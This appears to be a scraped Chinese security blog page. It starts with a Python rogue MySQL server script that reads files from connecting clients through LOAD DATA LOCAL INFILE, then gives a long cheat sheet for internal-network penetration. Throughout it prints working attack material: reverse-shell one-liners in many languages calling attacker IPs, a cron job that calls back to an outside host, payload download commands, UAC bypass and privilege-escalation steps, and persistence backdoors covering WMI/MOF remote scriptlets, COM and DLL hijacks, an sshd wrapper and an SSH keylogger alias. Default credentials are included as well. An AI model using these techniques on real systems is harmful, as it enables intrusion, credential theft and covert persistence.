 0030   00 eb e6 5c 00 00 01 01 08 0a 00 b2 5c ab 1a 89   .ëæ\.......²\«..
 0040   49 a9 0b 00 00 01 fb 2f 65 74 63 2f 68 6f 73 74   I©....û/etc/host
 0050   73

www.vesiluoma.com/abusing-mysql-clients/

给出个一个脚本:MySQL LOAD DATA任意文件读取

#!/usr/bin/python
#coding: utf8
import socket

# linux :
filestring = "/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024

#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
payloadlen = "\x0b" 
padding = "\x00\x00"
payload = payloadlen + padding +  "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

你也可以使用Rogue-MySql-Server Tool 工具。

附攻击视频: MySQL LOAD DATA任意文件读取

演示视频

请注意:PHP有一些mysql客户端扩展,如mysql、mysqli、pdo,除了pdo外都可以被利用,因为pdo默认禁止读取本地数据,你需要通过设置PDO::MYSQL_ATTR_LOCAL_INFILE为true来启用本地数据读取。同样的,如果客户端使用的是python的MySQLdb,也需要先设置local_infile连接选项。

当然,上述攻击的用法远不止如此,从外国大佬的文章看来还有可以挖掘的地方,比如滥用Web框架来读取服务器文件:当Web用户尝试修改MySQL主机的表单并将其指向恶意服务器时,攻击者就能够读取文件 MySQL LOAD DATA任意文件读取

MySQL LOAD DATA任意文件读取

from

The post MySQL LOAD DATA任意文件读取 Load Data Infile appeared first on 🔰雨苁ℒ🔰.

内网渗透技巧 网站应用程序渗透 逻辑漏洞

$
0
0

内网渗透技巧 网站应用程序渗透 逻辑漏洞 收集各种字典,包括弱口令,常用密码,目录爆破。数据库爆破,编辑器爆破,后台爆破等 功能/业务逻辑漏洞 CMS-内容管理系统漏洞 内网跨边界转发 内网文件的传输和下载 空会话信息收集 windows内核漏洞提权

目录列表

信息搜集
开源情报信息收集(OSINT)
github
whois查询/注册人反查/邮箱反查/相关资产
google hacking
创建企业密码字典
字典列表
邮箱列表获取
对企业外部相关信息进行搜集
子域名获取
进入内网
基于企业弱账号漏洞
基于系统漏洞进入
网站应用程序渗透
无线Wi-Fi接入
隐匿攻击
Command and Control
Froting
代理
内网跨边界应用
内网跨边界转发
内网跨边界代理穿透
EW
Termite
代理脚本
shell反弹
内网文件的传输和下载
内网信息搜集
本机信息搜集
1、用户列表
2、进程列表
3、服务列表
4、端口列表
5、补丁列表
6、本机共享
7、本用户习惯分析
8、获取当前用户密码工具
Windows
Linux
扩散信息收集
端口扫描
常用端口扫描工具
内网拓扑架构分析
常见信息收集命令
第三方信息收集
权限提升
Windows
BypassUAC
常用方法
常用工具
提权
Linux
内核溢出提权
计划任务
SUID
系统服务的错误权限配置漏洞
不安全的文件/文件夹权限配置
找存储的明文用户名,密码
权限维持
系统后门
Windows
1、密码记录工具
2、常用的存储Payload位置
3、Run/RunOnce Keys
4、BootExecute Key
5、Userinit Key
6、Startup Keys
7、Services
8、Browser Helper Objects
9、AppInit_DLLs
10、文件关联
11、bitsadmin
12、mof
13、wmi
14、Userland Persistence With Scheduled Tasks
15、Netsh
16、Shim
17、DLL劫持
18、DoubleAgent
19、waitfor.exe
20、AppDomainManager
21、Office
22、CLR
23、msdtc
24、Hijack CAccPropServicesClass and MMDeviceEnumerato
25、Hijack explorer.exe
26、Windows FAX DLL Injection
27、特殊注册表键值
28、快捷方式后门
29、Logon Scripts
30、Password Filter DLL
31、利用BHO实现IE浏览器劫持
Linux
crontab
硬链接sshd
SSH Server wrapper
SSH keylogger
Cymothoa_进程注入backdoor
rookit
Tools:
WEB后门
横向渗透
端口渗透
端口扫描
端口爆破
端口弱口令
端口溢出
常见的默认端口
1、web类(web漏洞/敏感目录)
2、数据库类(扫描弱口令)
3、特殊服务类(未授权/命令执行类/漏洞)
4、常用端口类(扫描弱口令/端口爆破)
5、端口合计所对应的服务
信息搜集
获取域控的方法
SYSVOL
MS14-068 Kerberos
SPN扫描
Kerberos的黄金门票
Kerberos的银票务
域服务账号破解
凭证盗窃
地址解析协议
获取AD哈希
AD持久化
活动目录持久性技巧
Security Support Provider
SID History
AdminSDHolder&SDProp
组策略
Hook PasswordChangeNotify
TIPS
相关工具
在远程系统上执行程序
IOT相关
中间人
规避杀软及检测
Bypass Applocker
bypassAV
痕迹清理
Windows日志清除
破坏Windows日志记录功能
msf
3389登陆记录清除

信息搜集

内网渗透技巧

开源情报信息收集(OSINT)

github

whois查询/注册人反查/邮箱反查/相关资产

google hacking

创建企业密码字典

字典列表

['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']

密码生成

邮箱列表获取

对企业外部相关信息进行搜集

子域名获取

Linux

dig @ns.example.com example=.com AXFR 

Windows

nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器
nslookup #进入nslookup交互模式
server dns.domian.com #指定dns服务器
ls xxx.yyy.cn #列出域信息

进入内网

基于企业弱账号漏洞

  • VPN(通过邮箱,密码爆破,社工等途径获取VPN)
  • 企业相关运维系统(zabbix等)

基于系统漏洞进入

网站应用程序渗透

  • SQL注入
  • 跨站脚本(XSS)
  • 跨站请求伪造(CSRF)
  • SSRF(ssrf_proxy
  • 功能/业务逻辑漏洞
  • 其他漏洞等
  • CMS-内容管理系统漏洞
  • 企业自建代理

无线Wi-Fi接入

隐匿攻击

Command and Control

Froting

代理

内网跨边界应用

内网跨边界转发

内网跨边界代理穿透

EW

正向 SOCKS v5 服务器:

./ew -s ssocksd -l 1080

反弹 SOCKS v5 服务器: a) 先在一台具有公网 ip 的主机A上运行以下命令:

$ ./ew -s rcsocks -l 1080 -e 8888 

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

$ ./ew -s rssocks -d 1.1.1.1 -e 8888 

多级级联

$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

lcx_tran 的用法

$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

lcx_listen、lcx_slave 的用法

$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

“三级级联”的本地SOCKS测试用例以供参考

$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777

Termite

使用说明:http://rootkiter.com/Termite/README.txt

代理脚本

reGeorg :https://github.com/sensepost/reGeorg

shell反弹

bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

nc

#使用-e 
nc -e /bin/sh 223.8.200.234 1234 
#不使用-e
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

内网文件的传输和下载

wput

wput dir_name ftp://linuxpig:123456@host.com/

wget

wget http://site.com/1.rar -O 1.rar

ariac2(需安装)

aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2

powershell

$p = New-Object System.Net.WebClient 
$p.DownloadFile("http://domain/file","C:%homepath%file") 

vbs脚本

Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with

执行 :cscript test.vbs

Perl

#!/usr/bin/perl 
use LWP::Simple; 
getstore("http://domain/file", "file");

执行:perl test.pl

Python

#!/usr/bin/python 
import urllib2 
u = urllib2.urlopen('http://domain/file') 
localFile = open('local_file', 'w') 
localFile.write(u.read()) 
localFile.close()

执行:python test.py

Ruby

#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}

执行:ruby test.rb

PHP

<?php
$url  = 'http://www.example.com/file';
$path = '/path/to/file';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
file_put_contents($path, $data);
?>

执行:php test.php

NC attacker

cat file | nc -l 1234

target

nc host_ip 1234 > file

FTP

ftp 127.0.0.1 username password get file exit

TFTP

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

Bitsadmin

bitsadmin /transfer n http://domain/file c:%homepath%file

Window 文件共享

net use x: \127.0.0.1\share /user:example.comuserID myPassword

SCP 本地到远程

scp file user@host.com:/tmp

远程到本地

scp user@host.com:/tmp file

rsync 远程rsync服务器中拷贝文件到本地机

rsync -av root@192.168.78.192::www /databack

本地机器拷贝文件到远程rsync服务器

rsync -av /databack root@192.168.78.192::www

certutil.exe

certutil.exe -urlcache -split -f http://site.com/file

内网信息搜集

本机信息搜集

1、用户列表

windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户

2、进程列表

析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等

3、服务列表

与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]

4、端口列表

开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集

5、补丁列表

分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞

6、本机共享

本机共享列表/访问权限 本机访问的域共享/访问权限

7、本用户习惯分析

历史记录 收藏夹 文档等

8、获取当前用户密码工具

Windows
Linux

扩散信息收集

端口扫描

常用端口扫描工具

内网拓扑架构分析

  • DMZ
  • 管理网
  • 生产网
  • 测试网

常见信息收集命令

ipconfig:

ipconfig /all ------> 查询本机 IP 段,所在域等

net:

net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname

dsquery

dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组 
dsquery ou ------>列出该域内组织单位 
dsquery server && net time /domain------>列出该域内域控制器 

第三方信息收集

  • NETBIOS 信息收集
  • SMB 信息收集
  • 空会话信息收集
  • 漏洞信息收集等

权限提升

Windows

BypassUAC

常用方法
  • 使用IFileOperation COM接口
  • 使用Wusa.exe的extract选项
  • 远程注入SHELLCODE 到傀儡进程
  • DLL劫持,劫持系统的DLL文件
  • eventvwr.exe and registry hijacking
  • sdclt.exe
  • SilentCleanup
  • wscript.exe
  • cmstp.exe
  • 修改环境变量,劫持高权限.Net程序
  • 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序
  • 直接提权过UAC
常用工具

提权

  • windows内核漏洞提权

检测类:Windows-Exploit-Suggester,WinSystemHelper 利用类:windows-kernel-exploits

  • 服务提权

数据库服务,ftp服务等

  • WINDOWS错误系统配置
  • 系统服务的错误权限配置漏洞
  • 不安全的注册表权限配置
  • 不安全的文件/文件夹权限配置
  • 计划任务
  • 任意用户以NT AUTHORITY\SYSTEM权限安装msi
  • 提权脚本

PowerUP,ElevateKit

Linux

内核溢出提权

linux-kernel-exploits

计划任务

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SUID

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

系统服务的错误权限配置漏洞

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

不安全的文件/文件夹权限配置

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

找存储的明文用户名,密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

权限维持

系统后门

Windows

1、密码记录工具

WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。 键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。 Linux 下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆密码。

2、常用的存储Payload位置

WMI : 存储:

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() 

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

包含数字签名的PE文件 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 特殊ADS …

type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe

特殊COM文件

type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe

磁盘根目录

type putty.exe >C:\:putty.exe 
wmic process call create C:\:putty.exe
3、Run/RunOnce Keys

用户级

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

管理员

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
4、BootExecute Key

由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:

HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
5、Userinit Key

WinLogon进程加载的login scripts,具体键值:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
6、Startup Keys
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
7、Services

创建服务

sc create [ServerName] binPath= BinaryPathName
8、Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
9、AppInit_DLLs

加载User32.dll会加载的DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
10、文件关联
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT
11、bitsadmin
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
12、mof
pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
}; 
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")";
}; 
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

管理员执行:

mofcomp test.mof
13、wmi

每隔60秒执行一次notepad.exe

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
14、Userland Persistence With Scheduled Tasks

劫持计划任务UserTask,在系统启动时加载dll

function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
} 
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
15、Netsh
netsh add helper c:\test\netshtest.dll

后门触发:每次调用netsh

dll编写:https://github.com/outflanknl/NetshHelperBeacon

16、Shim

常用方式: InjectDll RedirectShortcut RedirectEXE

17、DLL劫持

通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行 工具:https://github.com/sensepost/rattler 工具:https://github.com/Yonsm/AheadLib

18、DoubleAgent

编写自定义Verifier provider DLL 通过Application Verifier进行安装 注入到目标进程执行payload 每当目标进程启动,均会执行payload,相当于一个自启动的方式 POC : https://github.com/Cybellum/DoubleAgent

19、waitfor.exe

不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence

20、AppDomainManager

针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

21、Office

劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门 利用VSTO实现的office后门 Office加载项

  • Word WLL
  • Excel XLL
  • Excel VBA add-ins
  • PowerPoint VBA add-ins

参考1 :https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/ 参考2 :https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/

22、CLR

无需管理员权限的后门,并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection

23、msdtc

利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll

24、Hijack CAccPropServicesClass and MMDeviceEnumerato

利用COM组件,不需要重启系统,不需要管理员权限 通过修改注册表实现 POC:https://github.com/3gstudent/COM-Object-hijacking

25、Hijack explorer.exe

COM组件劫持,不需要重启系统,不需要管理员权限 通过修改注册表实现

HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
26、Windows FAX DLL Injection

通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载 Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载

27、特殊注册表键值

在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。《渗透技巧——”隐藏”注册表的创建》 《渗透技巧——”隐藏”注册表的更多测试》

28、快捷方式后门

替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

29、Logon Scripts
New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null
30、Password Filter DLL
31、利用BHO实现IE浏览器劫持

Linux

crontab

每60分钟反弹一次shell给dns.wuyun.org的53端口

#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
硬链接sshd
#!bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

链接:ssh root@192.168.206.142 -p 2333

SSH Server wrapper
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
SSH keylogger

vim当前用户下的.bashrc文件,末尾添加

#!bash
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

source .bashrc

Cymothoa_进程注入backdoor
./cymothoa -p 2270 -s 1 -y 7777
nc -vv ip 7777
rookit

openssh_rookit Kbeast_rootkit Mafix + Suterusu rookit

Tools:

Vegile backdoor

WEB后门

PHP Meterpreter后门 Aspx Meterpreter后门 weevely webacoo
….

横向渗透

端口渗透

端口扫描

  • 1.端口的指纹信息(版本信息)
  • 2.端口所对应运行的服务
  • 3.常见的默认端口号
  • 4.尝试弱口令

端口爆破

hydra

端口弱口令

  • NTScan
  • Hscan
  • 自写脚本

端口溢出

smb

  • ms08067
  • ms17010
  • ms11058

apache ftp 

常见的默认端口

1、web类(web漏洞/敏感目录)

第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix …

80 web 
80-89 web 
8000-9090 web 
2、数据库类(扫描弱口令)
1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 
50000 DB2
3、特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血 
445 ms08067/ms11058/ms17010等 
873 Rsync未授权 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问 
4、常用端口类(扫描弱口令/端口爆破)
21 ftp 
22 SSH 
23 Telnet 
445 SMB弱口令扫描 
2601,2604 zebra路由,默认密码zebra 
3389 远程桌面 
5、端口合计所对应的服务
21 ftp 
22 SSH 
23 Telnet 
25 SMTP 
53 DNS 
69 TFTP 
80 web 
80-89 web 
110 POP3 
135 RPC 
139 NETBIOS 
143 IMAP 
161 SNMP 
389 LDAP 
443 SSL心脏滴血以及一些web漏洞测试 
445 SMB 
512,513,514 Rexec 
873 Rsync未授权 
1025,111 NFS 
1080 socks 
1158 ORACLE EMCTL2601,2604 zebra路由,默认密码zebra案 
1433 MSSQL (暴力破解) 
1521 Oracle:(iSqlPlus Port:5560,7778) 
2082/2083 cpanel主机管理系统登陆 (国外用较多) 
2222 DA虚拟主机管理系统登陆 (国外用较多) 
2601,2604 zebra路由,默认密码zebra 
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
3306 MySQL (暴力破解) 
3312/3311 kangle主机管理系统登陆 
3389 远程桌面 
3690 svn 
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
4848 GlassFish web中间件 弱口令:admin/adminadmin 
5432 PostgreSQL 
5900 vnc 
5984 CouchDB http://xxx:5984/_utils/ 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
7778 Kloxo主机控制面板登录 
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 
8080 tomcat/WDCd/ 主机管理系统,默认弱口令 
8080,8089,9090 JBOSS 
8081 Symantec AV/Filter for MSE 
8083 Vestacp主机管理系统 (国外用较多) 
8649 ganglia 
8888 amh/LuManager 主机管理系统默认端口 
9000 fcgi fcig php执行 
9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
28017 mongodb统计页面 
50000 SAP命令执行 
50060 hadoop 
50070,50030 hadoop默认端口未授权访问

域渗透

信息搜集

powerview.ps1

Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the domain
Get-NetGroup - gets data for each user in a specified domain group
